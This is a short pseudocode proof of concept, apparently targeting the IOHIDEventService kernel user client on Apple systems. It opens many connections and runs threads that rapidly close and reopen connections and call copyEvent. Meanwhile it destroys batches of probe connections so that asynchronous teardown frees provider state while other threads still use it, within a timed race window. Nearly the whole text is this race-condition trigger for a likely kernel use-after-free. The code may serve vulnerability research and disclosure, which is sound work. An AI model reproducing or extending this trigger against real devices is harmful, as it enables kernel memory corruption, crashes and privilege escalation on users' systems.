// open 15 connections to the same IOHIDEventService provider
io_connect_t conns[15];
for (int i = 0; i < 15; i++) {
    IOServiceOpen(service, mach_task_self(), 2, &conns[i]);
    IOConnectCallMethod(conns[i], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...); // gate
}

// thread A: conn[0] rapid close → reopen (lifecycle churn + provider ref drop)
while (!stop) {
    IOConnectCallMethod(conns[0], /*sel*/ 1, &scalar, 1, NULL, 0, ...); // close
    IOConnectCallMethod(conns[0], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...); // reopen
}

// threads B..N: conn[1..N] tight copyEvent loop (per-connection locking only)
while (!stop) {
    uint64_t args[2] = { 0, 1 };
    IOConnectCallMethod(conns[k], /*sel*/ 2, args, 2, NULL, 0, ...); // copyEvent
}

// pre-open 3 opener connections
io_connect_t openers[3];
for (int i = 0; i < 3; i++) {
    IOServiceOpen(service, mach_task_self(), 2, &openers[i]);
    IOConnectCallMethod(openers[i], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...);
}

// opener threads: continuous close → reopen
while (!stop) {
    IOConnectCallMethod(openers[k], /*sel*/ 1, &scalar, 1, NULL, 0, ...);
    IOConnectCallMethod(openers[k], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...);
}

// main thread: batch pre-gate → rapid teardown loop
while (!stop) {
    // create + gate 16 probe connections
    io_connect_t probes[16];
    for (int i = 0; i < 16; i++) {
        IOServiceOpen(service, mach_task_self(), 2, &probes[i]);
        IOConnectCallMethod(probes[i], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...);
    }

    // destroy all probes — each fires async didTerminate → teardown
    // teardown removes/frees provider-facing state while opener threads iterate
    // provider-facing state via the open path
    for (int i = 0; i < 16; i++)
        mach_port_destroy(mach_task_self(), probes[i]);

    usleep(80000); // 80ms race window
}